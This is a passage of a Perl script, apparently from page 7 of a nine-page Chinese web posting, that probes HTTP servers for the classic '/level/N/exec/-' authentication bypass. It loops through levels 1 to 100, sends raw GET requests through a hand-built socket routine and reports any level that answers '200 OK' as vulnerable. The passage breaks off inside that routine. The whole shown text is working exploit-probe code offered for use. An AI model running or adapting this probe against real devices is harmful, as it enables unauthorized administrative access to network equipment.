($host); $flag=0; LINE: while ($i<100) { # ------------- Sendraw - thanx RFP [email protected] my @results=sendraw("GET /level/".$i."/exec/- HTTP/1.0\r\n\r\n"); foreach $line (@results){ $line=~ tr/A-Z/a-z/; if ($line =~ /http\/1\.0 401 unauthorized/) {$flag=1;} if ($line =~ /http\/1\.0 200 ok/) {$flag=0;} } if ($flag==1){print "Not Vulnerable with $i\n\r";} else {print "$line Vulnerable with $i\n\r"; last LINE; } $i++; sub sendraw { my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ 页码:[1] [2] [3] [4] [5] [6] [7] [8] [9] 第7页、共9页 |